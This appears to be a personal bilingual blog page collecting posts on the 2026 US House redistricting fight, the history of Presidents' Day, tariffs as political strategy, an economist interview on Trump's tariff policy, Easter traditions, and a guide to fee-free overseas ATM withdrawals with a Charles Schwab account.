Author: Lynus H

  • 2026 美國期中選舉:選區地圖的爭奪戰

    2026 美國期中選舉:選區地圖的爭奪戰

    美國眾議院微弱多數與2026年的關鍵賭注

    A Razor-Thin Majority and the Stakes for 2026

    In the wake of the 2024 election, the political map of the U.S. House of Representatives has never looked so fragile. With the Republican party holding a razor-thin majority of roughly 220 seats to 215, the battle for the 2026 midterms has, in effect, already begun. The most decisive engagements in this war, however, are not being fought at campaign rallies but in state courtrooms and closed-door legislative sessions.

    在2024年選舉之後,美國眾議院的政治版圖相當脆弱。共和黨僅以約220比215的微弱多數掌控眾議院,實際上,爭奪2026年中期選舉的戰役已經悄然展開。

    地圖之戰:黨派重新劃區成為政治武器

    The Map War: Partisan Redistricting as a Weapon

    The trend I am watching closely is the growing weaponization of partisan, mid-decade redistricting in the fight for House control.

    Traditionally, congressional maps are drawn once after the decennial census (most recently in 2020) and remain fixed for the next ten years. But the near-tie of the 2022 election results has changed the game. With every single seat capable of deciding the majority, both parties are now aggressively litigating to force favorable maps into place before the 2026 election.

    我關注的趨勢是黨派以十年中期重新劃區為利器,作為爭奪眾議院控制權的工具。傳統上,國會選區地圖每十年一次繪製(最近一次是在2020年),並在接下來十年保持固定。但2022年選舉結果的接近平手改變了遊戲規則。由於每個席位都有可能決定多數黨,兩黨都在積極進行訴訟,試圖在2026年選舉前確保對自己有利的選區地圖。

    州內戰鬥與黨內矛盾

    State Battles and Internal Party Friction

    This “map war” is playing out across the country. In New York, Democrats are litigating to gain several seats. In North Carolina and Ohio, Republicans are working to solidify their own gerrymanders. Federal courts have forced redraws in Alabama and Louisiana. This battle is also creating internal party friction: in states Democrats control, like Maryland and Illinois, national leaders are pushing for aggressive new maps, while some state officials are resisting, fearing the high legal and political risks.

    這場「地圖之戰」正在全美各地展開。在紐約,民主黨正訴訟爭取增加數個席位;在北卡羅來納與俄亥俄,共和黨正努力鞏固自己的選區劃分。聯邦法院已迫使阿拉巴馬與路易斯安那重新繪製選區。這場戰鬥也引發了黨內矛盾:在民主黨掌控的州,如馬里蘭與伊利諾州,全國黨部推動激進的新地圖,但部分州官員則因擔憂法律與政治風險而抵制。

    安全選區、初選與選民影響力

    Safe Districts, Primaries, and Voter Power

    As seen in states like Texas and California, the party in control of state government often uses that power to draw lines that maximize its own advantage. The direct consequence of this “map game” is that it hollows out the meaning of the November general election.

    This exacerbates a related trend: the transfer of political power to party primaries. When a district is gerrymandered to be “safe” (e.g., R+20 or D+20), the general election becomes a rubber stamp. The only election that truly matters is the primary. This explains why the debate over “open” versus “closed” primaries has become so intense; as gerrymandering makes the general election irrelevant, the rules of the primary become the only rules that matter.

    Looking ahead to 2026, the outcomes of many elections may be decided by lawyers, judges, and map-makers long before the first vote is cast. This structural manipulation not only fuels political polarization—as candidates only need to appeal to their party’s most animated primary voters—but it also raises fundamental questions about whether a voter’s power is truly being counted.

    正如德州與加州所見,掌控州政府的政黨往往利用權力繪製選區,以最大化自身優勢。「地圖遊戲」的直接後果是削弱了十一月大選的意義。當選區被劃為「安全區」(例如 R+20 或 D+20),大選變得形同虛設,真正關鍵的選舉是初選。這也解釋了為何「開放初選」與「封閉初選」的爭論如此激烈:隨著操縱選區使大選失去意義,初選規則成為重要的規則。

    展望2026年,許多選舉結果可能在開始投票前就已由律師、法官與地圖規劃者決定。這種結構性操作加劇政治極端化——候選人只需迎合黨內最活躍的初選選民——也提出了根本性問題:選民的投票是否真正落實在選舉結果?

    相關 podcast🎙
    EP59 | 百頁選舉公報和七頁選票,直擊美國選舉一起投票去 ft. Yi姐
    短影片 | 希望美國總統候選人解決什麼問題
    EP57 | 美國政治腐敗三重奏:任期、遊說與投資
    EP55 | 我的選票不給總統給誰 美國選舉人團是什麼
    EP48 | 美國初選超級星期二:現場拉票舉手投票奇觀與川普選票除名之謎
    EP17 | 選舉番外篇- 年糕上班到凌晨的神祕工作 政治&市場民調數據分析

  • 美國新年第一個三天連假,President’s Day 其實在紀念誰?

    美國新年第一個三天連假,President’s Day 其實在紀念誰?

    從華盛頓到 DC 櫻花的故事

    今年除夕,美國剛好放假。很多人問:「為什麼美國今天休假?」是因為華人勢力打到可以也在美國有年假了嗎!沒有啦,西雅圖有人這樣提議但是還沒有過,那為何可以放假呢——因為那天是 President’s Day。

    這個所謂的「總統日」,真的在紀念所有總統嗎?還是某一位特別重要的人物?如果往歷史回頭看,你會發現,這個節日其實有一段比我們想像中更有意思的故事。

    一切從華盛頓開始

    President’s Day 最早的名字,其實是 Washington’s Birthday

    George Washington 是美國第一任總統,也是美國獨立戰爭的總司令,被尊為美國國父。他出生於 1732 年 2 月 22 日。到了 1885 年,美國正式將他的生日設為聯邦假日。這也是美國歷史上第一次,為一位「個人」設立全國性假日。

    這件事在當時意義重大。因為美國剛脫離英國王權統治,選擇用一位拒絕成為國王的人,作為國家象徵。

    他差點成為國王

    在獨立戰爭結束後,軍中其實有人希望華盛頓稱王。對一個剛打贏戰爭、手握軍權的人來說,這並不是不可能的選項。

    但華盛頓拒絕了。他主動辭去軍職,回到農莊生活。這個舉動在當時震撼整個世界。歷史上,握有軍權的人往往會繼續掌權,但他選擇把權力交回制度。

    後來他當選總統,也在兩任期滿後主動退下。當時並沒有任期限制,他如果願意,極有可能繼續連任。但他認為權力應該輪替。直到後來 Franklin D. Roosevelt 四度連任後,美國才正式修憲限制總統只能兩任。可以說,華盛頓當年的決定,早已為制度定下基礎。

    為什麼現在不在 2 月 22 日?

    原本華盛頓生日固定是 2 月 22 日。但 1968 年,美國通過了一項法律——Uniform Monday Holiday Act。目的是將幾個假日統一移到星期一,讓全國民眾有三天連假。

    1971 年起,Washington’s Birthday 改為「2 月第三個星期一」。

    這個改動看似只是行政安排,卻產生了文化上的轉變。因為從那時起,這個節日幾乎不會真正落在華盛頓的生日。當日期與生日脫鉤,節日的意義也慢慢從「紀念某一天」轉向「象徵某種精神」(還是就是放假的精神 lol

    那為什麼大家叫 President’s Day?

    有趣的是,在聯邦法律上,這一天的正式名稱仍然是 Washington’s Birthday。

    「President’s Day」其實不是官方改名,而是文化演變的結果。

    這個假日距離 Abraham Lincoln 的生日(2 月 12 日)也很近。許多州原本就會紀念林肯,後來乾脆用 President’s Day 來涵蓋兩位重要總統。再加上商業與媒體逐漸使用這個名稱,久而久之,大眾也習慣這樣稱呼。

    於是,一個原本為華盛頓而設的節日,變成了象徵歷任總統的日子。

    DC 的櫻花,真的和華盛頓有關嗎?

    說到華盛頓,很多人會聯想到春天盛開的櫻花。

    每年三、四月,華盛頓特區的潮汐湖周圍櫻花盛放,成為城市最美的風景。很多人會誤以為,這些櫻花是為了紀念華盛頓總統。

    但事實並非如此。1912 年,日本政府贈送約 3,000 株櫻花樹給美國,象徵日美友誼。櫻花因此成為國際交流的象徵,而不是為了紀念總統本人。

    至於華盛頓州,則確實是以華盛頓總統命名。但當地的櫻花,多半是日本移民或園藝團體栽種的結果,同樣與總統本人沒有直接關係。

    所以 「櫻花不是為了華盛頓種的,但它剛好開在華盛頓!」

    一個節日的意義

    President’s Day 的演變,其實很能代表美國文化。

    它從一個人的生日開始,承載著共和制度的象徵;接著因制度調整而改變日期,最後在文化與商業的推動下,變成更廣義的「President’s Day」。

    一個節日,不只是放假的一天,而是歷史、制度與文化共同塑造的結果。

    Fun Fact:日本的「天皇誕生日」會跟著換日期 🇯🇵

    如果把視角拉到日本,會發現另一種很有意思的節日。日本有一個國定假日叫做「天皇誕生日」,顧名思義,就是現任天皇的生日。特別的是,這個假日會隨著天皇更替而改變日期。現任天皇德仁的生日是 2 月 23 日,因此現在的天皇誕生日就是 2 月 23 日;而在上一任天皇明仁在位期間,假日則是 12 月 23 日。換句話說,日本紀念的不是某一段固定的歷史事件,而是當下仍在位的國家象徵本身。

    這和美國的 President’s Day 很不一樣。美國的這一天起源於紀念 George Washington,後來逐漸轉化為象徵總統制度與共和精神的節日;而日本則保留了與現任天皇直接連結的傳統。不同的節日設計,反映了不同國家理解歷史與國家象徵的方式。

    EP81 | 美國 President’s Day 紀念哪位總統?DC 櫻花盛開的秘密
    番外篇 | us美國大選中的數據科學 解密美國民調和選戰套路
    EP48 | 美國初選超級星期二:現場拉票舉手投票奇觀與川普選票除名之謎
    EP73 | 美國Memorial Day為何放假 跟Veterans Day差別是什麼

  • The Tariff as a Ballot: Analyzing Trade Policy as a Political Strategy

    The Tariff as a Ballot: Analyzing Trade Policy as a Political Strategy

    Following President Trump’s 2025 proposals for high tariffs—including a potential 60% tariff on Chinese goods and a 10% universal baseline—many economists have focused on the high risks, such as inflation and trade wars. For a political analyst, however, this policy should be understood differently: it is one of the most effective political messaging tools in modern American politics.

    The tariff strategy is not designed to win debates at the Peterson Institute for International Economics; it is designed to win votes in specific counties in Pennsylvania, Michigan, and Wisconsin.

    This “economic nationalism” is a direct, unfiltered appeal to a very specific and electorally crucial demographic: blue-collar, non-college-educated, and union-household voters in the post-industrial “Rust Belt.” These are the voters who swung the 2016 election and remain the most contested bloc in American politics.

    The political genius of the tariff argument lies in its simplicity. It bypasses complex economic theory and creates a powerful, populist narrative:

    1. It defines a clear villain: “Globalist” elites and foreign competitors (especially China) who “stole” American manufacturing jobs.
    2. It presents a clear hero: A protectionist leader (“I am a tariff man”) willing to fight back on behalf of the “forgotten” American worker.
    3. It offers a clear solution: The tariff itself, a tangible “wall” to protect American industry.

    Whether this narrative is economically sound is, politically, almost irrelevant. The message itself—”I am fighting for your job”—is what resonates in communities in Lackawanna County, PA, or Macomb County, MI, which have seen industries decline for decades.

    This strategy also places the Democratic party in a difficult political bind. Opposing tariffs allows them to be painted as “pro-China” or part of the “globalist elite” who don’t care about American jobs. This forces them to walk a difficult tightrope, often trying to argue for “smarter” trade enforcement rather than rejecting protectionism outright—a message that lacks the simple, emotional clarity of a high tariff.

    Ultimately, the high-tariff policy is a masterclass in political signaling. Its success is not measured in GDP or trade deficits, but in its ability to solidify a candidate’s bond with a critical voting bloc in the handful of states that decide the Electoral College. It is a policy that functions, first and foremost, as a ballot.

  • 川普高關稅的背後:從雙赤字到全球供應鏈危機 | 專訪美國經濟學教授

    川普高關稅的背後:從雙赤字到全球供應鏈危機 | 專訪美國經濟學教授

    在國際政治與經濟交織的角力中,一場由美國掀起的關稅戰爭,正悄悄改變世界格局。這次,我們邀請到現任美國奧克拉荷馬中央大學(University of Central Oklahoma, UCO)經濟學教授 Glenn(Kuang-Chung Hsu),帶領我們從經濟學的視角,深入解析貿易赤字、國債危機與全球供應鏈重組的脈絡。這場訪談,我們試著理解表象之下的真相,也試圖釐清,面對這波波動,應該如何思考。

    🎧 完整訪談也可在 Podcast 收聽:
    EP67|川普的關稅政策錯了嗎?美國經濟學教授從學術角度聊貿易戰 ft. Glenn

    📌 本文重點

    • 為何進口與出口同樣重要?破解貿易常見迷思
    • 美國長期貿易逆差背後的真正原因與「雙赤字」機制
    • 高關稅政策對美國、中國及全球市場的實際影響與歷史重演
    • 國債膨脹與貨幣政策的結構性風險
    • 「政府效率局」與川普的政治經濟操作
    • 中美貿易戰與供應鏈重組的長期衝擊
    • 如果你是總統,應該怎麼處理經濟?

    川普的「對等關稅政策」:表面的公平,背後的動盪

    訪談一開始,我們簡單回顧了近幾個月的貿易局勢。2025 年 3 月初,川普政府宣布對墨西哥、加拿大進口商品課徵 25% 的關稅,隨後又將中國商品關稅調升至 20%。但真正震撼市場的是 4 月 2 日那場白宮演說,川普正式簽署行政命令,對 18 個主要經濟體啟動了所謂的「對等關稅政策」,其中對台灣商品加徵 32%,對越南商品則高達 46%。中國商品關稅也再次上調 10%,總稅率瞬間飆至 54%。然而,短短一週後,美國又突然宣布將加稅幅度下修至 10%,並與中國互相加碼報復性關稅措施。政策反覆之下,全球市場風聲鶴唳,企業投資決策也陷入前所未有的迷惘。

    美國的「雙赤字」問題:真正的病灶藏在自己體內

    當輿論焦點集中在貿易逆差時,Glenn 教授提醒我們,美國經濟的根本問題並不僅僅是進口大於出口。真正的結構性問題是「雙赤字」:一方面是長年累積的貿易逆差,另一方面則是日益惡化的政府財政赤字。以 2024 年底為例,美國年度貿易逆差高達 9,000 億美元,政府赤字則突破 1.7 兆美元。透過基本的國民所得恆等式:GDP = 消費 + 投資 + 政府支出 +(出口-進口),教授推導出,當國民儲蓄減投資、政府稅收減支出這兩項皆為負值時,貿易逆差就成為無可避免的數學結果。也就是說,美國人儲蓄太少,政府花得太多,導致經常帳長年失衡。教授更直言,美國是全世界儲蓄率最低的國家之一,連歐洲人都比美國人更懂得存錢。

    國民所得(Y) = 消費(C) + 投資(I)+ 政府支出(G)+ (出口(X)-進口(M))

    進口是毒藥還是良藥?破解進出口迷思

    進口是否真的削弱國家經濟?教授用一個生活上的例子解釋,想像你和室友共同生活,若各自單打獨鬥,煮飯、打掃樣樣來,結果只會是雙方整天都很累。相反,如果一個人專門做飯,另一個人負責清潔,大家的生活品質將大幅提升。國際貿易也是如此,讓每個國家發揮比較優勢,專注於最擅長的領域,再透過交換實現資源最佳配置。進口本質上不是損失,而是提升效率的重要手段。以現代全球供應鏈為例,一支 iPhone 的組成零件來自全球不同國家,若沒有進口與分工合作,根本不可能有這樣高品質且成本合理的產品。

    關稅保護主義的代價:從洗衣機案例看全民買單

    教授進一步舉例說明貿易保護主義的隱性代價。2018 年,川普政府為保護本土製造業,對進口洗衣機徵收高關稅,迫使 LG、三星等品牌將部分產線搬回美國。表面上看似挽救了 2000 個工作機會,但代價卻是洗衣機與烘乾機價格飆升,全國消費者因此每年多支付高達 15 億美元的成本。換言之,政府以關稅手段短暫維護了少數人的工作,但卻讓全體國民共同埋單,造成經濟整體效率下降。這正是經濟學中著名的「看得見與看不見的成本」概念。

    2018年對進口洗衣機徵收高關稅

    廣場協議與歷史的重蹈覆轍

    這並不是美國第一次以強硬手段解決貿易問題。1985 年,美日貿易緊張之際,美國主導簽訂「廣場協議 Plaza Accord」,迫使日圓升值以降低美國對日貿易逆差。短期內,美國逆差確實收斂,但日本隨後陷入資產泡沫崩潰,經濟停滯長達十年,被稱為「失落的十年」。教授認為,川普的作法幾乎是歷史翻版,卻忽視了當年結局的教訓。

    報復性關稅與全球經濟的傷痕:歷史何其相似

    如果以為提高關稅只是美國一廂情願的政策,顯然過於天真。Glenn 教授指出,歷史早已提供足夠的警訊。1929 年美國爆發經濟大蕭條,當時胡佛總統政府為了挽救國內農業與工業,推動了《Smoot–Hawley Tariff Act》(斯姆特-霍利關稅法案),大幅提高超過 2 萬項進口商品的關稅。初衷是保護本國產業、振興就業,結果卻適得其反。各國隨即展開報復性關稅行動,全球貿易量在短短兩年內大幅萎縮近三分之二,雪上加霜地加劇了全球經濟的崩潰與長期低迷。

    將時光拉回今日,我們看到相似的腳本正在重演。中國、歐盟、加拿大等主要經濟體對美國的加稅行動快速反制,各自祭出關稅回應或中止部分雙邊合作。這不僅造成商品價格上漲、供應鏈混亂,也讓企業界陷入前所未有的「不確定性恐慌」。投資延宕、計畫凍結、生產外移成為主流反應,加速整體經濟放緩的趨勢。對全球化高度依賴的產業來說,這場報復性關稅行動形同「經濟戰爭」的起點,而歷史曾經發生的災難,如今有可能再次降臨。

    拜登的溫和繼承與結構性難題

    談及拜登政府的經濟政策,教授認為,拜登基本上延續了川普留下的高關稅政策,並未大幅改變貿易戰格局。不同的是,拜登選擇了較為溫和、修補性的管理方式,沒有進一步激化衝突。從更宏觀的角度來看,美國自雷根以來兩黨的經濟路線早已定型:共和黨主張減稅刺激供給,但加劇財政赤字;民主黨則傾向對富人增稅,力求縮小赤字。教授坦言,長期來看要真正解決美國的財政問題,唯一辦法是針對高所得者加稅,然而政治現實讓這條路艱難無比。

    「Doge」效率局與川普經濟團隊的誤區

    教授提到,川普成立所謂的「政府效率局(Doge)」,仿效阿根廷總統米雷伊(Javier Milei)推動的大砍政府改革,甚至模仿他手持電鋸的象徵性演出。但美國的問題並非政府臃腫,而是財政結構高度僵固。前三大支出──健保、社會福利、國防──難以砍減,僅憑解散教育部、環保署等部門,根本杯水車薪。再加上川普周邊經濟顧問多非專業背景,甚至引用毫無意義的數學公式來推估「對等關稅」,這反映了當代政治領導者在經濟議題上,越來越傾向以表演性象徵取代制度性設計,對長期治理而言是一大風險。

    美國政府效率部(DOGE)由馬斯克領導

    中美談不攏的後果:全球經濟大蕭條

    如果中美雙方最終無法達成妥協,教授警告,最壞情況將是全球經濟進入大規模蕭條。美中兩大經濟體全面對抗,將導致全球供應鏈大幅斷裂,不僅美國與中國自身重創,包括台灣在內的出口型經濟體也將首當其衝。特別是台灣許多傳產業與中國製造業深度綁定,貿易戰一旦全面升級,影響將無可避免且深遠。

    國債與貨幣政策:失控的隱形炸彈

    2025 年,美國國債已超過 36 兆美元,債務比GDP更高。教授指出,當赤字過高,政府往往誘惑中央銀行印鈔解套,而這種干預貨幣政策的行為,正是經濟學界最嚴重的警訊。他特別提到,美國過去罕見動用「存款準備率」降低的手段釋放資金,這在教科書中幾乎是警告等級的最後手段,因為此舉將會導致貨幣過度擴張,中央銀行難以掌握實際市場資金流動,進而失去對通膨的控制能力。若中央銀行失去獨立性,最終將重蹈拉美國家的貨幣崩壞與惡性通膨悲劇。教授強調,正是這種政治壓力讓貨幣政策日漸失去技術性判斷,若總統頻繁介入央行決策,後果將類似阿根廷、委內瑞拉等國家,陷入通膨與信用崩潰的死循環。

    如果我是總統:自由市場才是長久之道

    當問到「如果你是美國總統,你會怎麼做?」教授答得乾脆:讓市場自由運作,政府不宜過度干預。他強調,總統不需要樣樣精通,但一定要有能力用對人,特別是能夠信任並尊重專業經濟團隊。以小布希為例,雖然經常被低估,但他的經濟政策得力於德州農工與其他大學的經濟教授團隊,讓政策得以穩健落實。

    結語:當經濟成為國力的命脈,我們每個人都該理解經濟學

    從關稅政策、貿易戰、供應鏈斷裂,到國債與貨幣政策,一個共同的線索貫穿始終──那就是經濟運作邏輯的力量。無論是國家領袖還是普通民眾,如果缺乏對經濟基本運作的理解,將無可避免地做出錯誤決策,進而付出沉重代價。正如 Glenn 教授所言,經濟學的核心精神,是在無限慾望與有限資源間,尋找最有效率的配置。今天的世界,變化比以往任何時候更快,唯有掌握經濟學邏輯,才能在巨變中保持清醒,看清未來。經濟學,不只是教科書上的公式,而是每一個人,為自己與社會開創更好明天的必要知識。

    🎙 來賓簡介|Glenn (Kuang-Chung Hsu)

    Glenn(Kuang-Chung Hsu) 為美國奧克拉荷馬中央大學(University of Central Oklahoma)經濟學教授,專長領域包括國際貿易、勞動經濟學與能源產業分析。他的研究著重探討全球經濟問題、企業佈局與政府政策間的互動,並著重外包、工資結構與貿易衝突對勞動市場與宏觀經濟的長期影響。Glenn 教授曾多次發表於《Reviews of International Economics, The journal of international trade and economic development, Empirical Economics 、《Applied Economics》、《Energy Economics》等國際期刊。畢業於台灣大學農業經濟碩士,並於德州農工大學(Texas A&M University)取得經濟學博士學位。

    如果你喜歡這篇文章,歡迎分享給朋友,或在留言區、Email裡告訴我你的想法。你的每一點回應,對我來說都是珍貴的鼓勵。
    也可以在文章尾巴輕輕點個 ❤ 讓我知道,你在這裡陪伴著我 🙋‍♀️🙋‍♀️🙋‍♀️

    如果你願意支持我繼續走在這條創作的路上,也歡迎到我的 Podcast Subscribe 頁面,能透過 Line Pay/信用卡小額贊助,或直接看這裡銀行轉帳。

    一杯咖啡的溫度、一份簡單的心意,都會成為我繼續寫下去,錄製下去的力量。謝謝你們 <3

    更多美國留學資訊、文化分享(衝擊)、生活點滴都在這
    外婆專線是我錄製的podcast,主要是為外公外婆做的節目,我希望外公外婆多看電視報紙不與外界脫節,可是外婆總說眼睛看容易累,讓她聽聽收音機,她嫌吵,說「不是你在說話」;於是外婆專線誕生了,願帶領外公外婆遊遍世界

    外婆專線的臉書 – HotlinetoGrandma
    外婆專線的IG – uslife_hotlinetograndma

    延伸閱讀

    為何常聽見「要吸大麻,去拉斯維加斯啦,這裡不行!」 正所謂家有家規,州有州法

    要去紐約州內的某個 County 還是去紐約市這個 City

    聯邦政府總統的最高權力,國會參議院眾議院制衡

  • 美國復活節有連假?Easter 對基督徒的意義到兔子彩蛋

    美國復活節有連假?Easter 對基督徒的意義到兔子彩蛋

    每年三月的聖派翠克節(Saint Patrick’s Day)一過,美國街頭巷尾、商店櫥窗就開始悄悄換裝,一個繽紛又充滿希望的節日即將登場——復活節(Easter)!

    在台灣,復活節的存在感可能沒那麼高,大家對它的印象多半停留在可愛的兔子、繽紛的彩蛋和巧克力。但其實,對許多基督徒而言,復活節是僅次於聖誕節的重要宗教節日,象徵著「重生」與「希望」。今天就來跟大家分享復活節的由來、傳統習俗,以及現在流行的各種活動。

    復活節的由來

    其實這我們得先來說說 Palm Sunday,在基督教中,復活節其實是一段更長、充滿意義的「聖週」的一部分,而一切的開端,就是——Palm Sunday(棕枝主日)

    Palm Sunday 是復活節前的那個星期日,紀念耶穌騎著驢子進入耶路撒冷的那一天。根據《聖經》記載,當耶穌進城時,民眾興奮地迎接祂,把棕櫚枝鋪在路上,就像迎接君王一樣,並高喊「和散那」(Hosanna),意思是「請拯救我們」或「讚美之聲」。因此,這一天被稱為「棕枝主日」。

    這個事件不只是一場歡迎儀式,它其實揭開了耶穌人生最後一週的序幕,也就是基督教所稱的聖週(Holy Week)。接下來的幾天裡:

    • 週四(Maundy Thursday):耶穌和門徒共進最後的晚餐;
    • 週五(Good Friday 耶穌受難日):耶穌被釘在十字架上,象徵犧牲與救贖;
    • 週日(Easter Sunday):耶穌復活,象徵新生與希望。

    因此,我們說復活節是為了紀念耶穌基督在受難後第三天從死裡復活的神蹟。

    《聖經》記載,耶穌在受難週的週四晚上與門徒共進最後的晚餐(就是達文西名畫《最後的晚餐》的場景)。他當時已預知自己將被出賣,而那位出賣他的門徒就是猶大。13 號星期五的由來也跟《最後的晚餐》有關,猶大是第十三位入席的門徒,也因此「13」成了不吉利的數字。 隔天星期五,耶穌被釘上十字架,這天被稱為「受難日」也就是 Good Friday,而三天後星期日,耶穌復活了。

    復活節落在哪一天?

    復活節沒有固定日期,而是按照「春分月圓後的第一個星期日」來計算的,這也意味著它會落在每年 3 月 22 日至 4 月 25 日之間。2025年的的復活節是 4 月 20 日。 需要注意的是,這個日期是依據西方基督教使用的公曆(陽曆)來計算的。但在東正教(如俄羅斯、希臘、塞爾維亞等國),則使用儒略曆來推算,因此日期通常會稍微不同。

    復活節的傳統食物與習俗

    傳統的復活節菜肴有羊肉,火腿,雞蛋,蘆筍,豌豆,面包、以及胡蘿蔔、蛋糕等等,其中某些只有春天的食物就像是在迎接春天的到來。

    Hot Cross Buns 十字麵包

    這是一種帶有甜味的水果麵包,麵包上劃有象徵耶穌十字架的白色十字。麵包裡常加入肉桂、葡萄乾等香料,據說也象徵耶穌葬禮上使用的防腐香料。

    羔羊(Easter Lamb)

    在猶太逾越節的傳統中,每個家庭都會宰殺羔羊用作祭祀。據希伯來聖經記載,摩西告訴以色列人,要宰殺逾越節的羔羊,並將其鮮血塗在他們的門上,上帝便會通過抹了血的門來保護以色列人免於死亡,而最終當耶穌基督成為所有人的逾越節羔羊,用死亡來贖罪,羔羊也就成了耶穌基督犧牲的象征。因此,在復活節吃羊肉也成為傳統之一。

    復活節兔子(Easter Bunny)

    復活節最具代表性的角色之一!兔子繁殖力強,在西方文化中是新生命與春天的象徵。同時,人們看到兔子從洞或是地下鑽出來,也象徵耶穌從墳墓復活的場景。美國許多家庭會在復活節早晨,父母裝扮成「復活節兔子」送糖果和彩蛋給小朋友,祝福健康與快樂。同時也會用兔子玩偶等裝飾房屋。

    小知識:國外通常叫做 Easter Bunny ,也有少部分的人叫他 Easter Hare。 bunny 和 Hare 雖然兩個指的都是兔子,但是通常bunny 指的是比較溫馴的家兔,而 hare 則是指野兔。

    彩蛋的傳統與演變

    彩蛋(Easter Eggs)的歷史可以追溯到美索不達米亞時期,從那裡通過東正教蔓延到東歐和西伯利亞,後來再由天主教和基督教進入歐洲,再傳到美國。

    最初人們會將雞蛋染紅,是為了象徵耶穌為人流的鮮血。在耶穌去世後第三天,基督耶穌從墳墓裏復活,因此,蛋也是空墓的象征。許多東歐國家,裝飾雞蛋的過程非常復雜,人們會將雞蛋染上五顏六色,印上或畫上精致的圖案、系上彩色絲帶等。以前也很常用真的雞蛋,但現在很多人為了省事省時,也會直接買塑料假雞蛋來代替真雞蛋,裡面裝巧克力、糖果、小禮物。

    而最受歡迎的活動就是——Easter Egg Hunt(找彩蛋遊戲)
    大人小孩會一起在家中或花園中尋找彩蛋,看看誰找到最多、或是誰找到的最漂亮。

    而電影中的「Easter Egg」一詞,就是從這裡來的。指的是電影製作時特意藏的小細節或致敬橋段,就像是在電影裡玩「找彩蛋遊戲」一樣,讓我們感到驚喜

    白宮滾彩蛋:超可愛的官方活動

    每年復活節隔天,美國白宮會舉辦滾彩蛋比賽(Easter Egg Roll),這項傳統始於 1878 年。孩子們會拿著大湯匙,把彩蛋從草坪這頭推到那頭。 不只有比賽,現場還有園遊會、音樂表演、故事時間,甚至可以見到總統與第一夫人,是一個非常受到家庭喜愛的活動。

    其他常見活動

    復活節遊行

    復活節遊行的傳統始於南北戰爭之後,遵循宗教儀式的周日散步的習俗,現在遊行活動相當熱鬧。大家會穿上正式服裝、戴上裝飾華麗的帽子(Easter Bonnet),街上有樂隊表演與花車遊行,氣氛像嘉年華。

    穿新衣

    穿新衣象徵新的開始。早期基督徒會在復活節前夜換上白袍,象徵潔淨與重生,如今則演變成穿新衣服、拍美美照片的好時機啦~

    美國復活節連假:不只星期天

    在美國,復活節不只是星期天的一天節日,對許多人來說,整個週末都是特別的時光。許多公司和學校會在復活節前的星期五,也就是 Good Friday(耶穌受難日)放假一天;有些地方甚至連復活節後的星期一(Easter Monday)也會放假,等於有個三天或四天的長週末。

    這段期間,人們通常會參加教會活動、舉辦家庭聚餐,或是安排春天的小旅行。不過是否放假,會依照不同州、不同公司或學校而有所不同,有些地方放假比較普遍,有些則是照常上班上課。整體來說,這是一個讓人放慢腳步、與親友團聚的重要節日。

    你們的鼓勵

    是我努力堅持的動力

    如果你喜歡我的文章,歡迎分享給你的朋友,留言或是寫信給我,都對我是很大的鼓勵🙋‍♀️🙋‍♀️🙋‍♀️

    也希望你能點選下方拍手圖示,幫我拍手 5 下給我支持:

    這是一個不用花任何錢就能支持我的方法,只需要登入FB或是 Google 帳號,給我 5 下拍手,回饋會由 LikeCoin 基金會配發。這將鼓舞我繼續寫更多文章,也能分擔一點支付網站主機的費用。

  • 留美學生海外提領現金免手續費超簡單:Charles Schwab 帳戶完整教學

    留美學生海外提領現金免手續費超簡單:Charles Schwab 帳戶完整教學

    (持續更新和回報…

    身為一個留美學生或是長期待在美國的人,你有沒有遇過這樣的情況?
    如果回台灣,可能到台灣的銀行換現金,但每次提領都要手續費,美國銀行收手續費,台灣銀行又收,雙層剝削。如果人歐洲中南美或其他國家,先換錢是個選擇,但是換多少好?換太多覺得不安全又可能其實不需要,換太少要在當地找地方換又麻煩,手續費就不用說了。再者,甚至有很高的機率是不理想的匯率,讓人又氣又無奈。

    今天就來分享我自己親身使用多年的超神帳戶:Charles Schwab High Yield Investor Checking Account。不只提款免手續費,匯率也相當漂亮,是我每次回台灣或旅行時的提款神器。

    為什麼推薦 Charles Schwab?

    1. 全球 ATM 提款手續費全額退還
      你在世界各地使用 ATM 提款時,當地銀行雖然可能會收取提款費用(通常是 USD$3~5),但 Charles Schwab 每月底會自動全額退還這些費用。
    2. 無國際交易費(Foreign Transaction Fee)
      有些銀行會收 1~3% 的國際交易費,但 Schwab 完全沒有這個費用。
    3. 匯率優於信用卡或現金兌換
      Schwab 使用 Visa 的即時匯率,通常比台灣的換匯窗口或美國機場兌換匯率都好很多。
    4. 沒有最低存款要求與月費

    如何開設 Charles Schwab 帳戶?

    1. 前往官網開戶:Charles Schwab 開戶連結(註冊時需有美國地址與 SSN)
    2. 開戶時會同時開立:
      – Brokerage Account(證券帳戶)
      – Checking Account(可提款的帳戶)➔ 之後是將錢匯入這個帳戶,用來提取現金
    3. 申請後會收到 Schwab 提款卡(Visa),可在海外 ATM 提款。

    實際提款流程(以台灣為例)

    1. 找一台支援國際提款的 ATM(例如台新、玉山、中信、國泰等)
    2. 插入 Schwab 的提款卡
    3. 輸入提款金額,建議以「當地幣別」提款(例如在台灣用台幣)
    4. 此時,ATM 螢幕有機會出現「立即匯率轉換」(Immediate Conversion) 與「延後匯率轉換」(Defer Conversion) 的選擇,請選擇「延遲匯率轉換」,通常會有比較好的匯率
    5. 每筆提款上限為 500 美元或等值外幣,每日總上限為 1000 美元或等值外幣
    6. 完成後會看到當地銀行收取的手續費,但 Charles Schwab 會在月底自動退還
    7. 回到網銀也可以看到實際匯率,通常非常不錯

    🛫 出國前記得設定「Travel Notice」!

    為了避免你的卡在海外被誤判為可疑交易而被凍結,記得出國前登入 Charles Schwab 帳戶,設定你的旅行日期與地點(Travel Notice)。步驟如下:

    1. 登入 Schwab 網銀或 App
    2. 點選「Travel Notice」功能(可在設定或客服選單中找到)
    3. 輸入你將前往的國家和預計停留時間
    4. 儲存即可完成
    登入帳戶,點選support中的Debit Cards & Checks,看到 Add Travel Notice
    填寫旅行國家
    填寫旅行往返日期

    這樣就能避免提款或刷卡被擋,確保在海外使用順利。

    常見問題 Q&A

    Q:每次提款都有退款嗎?有沒有上限?
    A:是的,只要是 ATM 相關費用,都會自動退還,沒有次數限制。
    Q:可以只開 checking,不開 brokerage 嗎?
    A:目前 Schwab 要求必須同時開 brokerage 才能擁有 checking,但你可以完全不使用證券帳戶。
    Q:提款有金額限制嗎?
    A:每筆或每日上限依 ATM 與 Schwab 風控而定,建議大額提款可以分批進行。

    每位海外學生都值得擁有一張 Schwab 提款卡

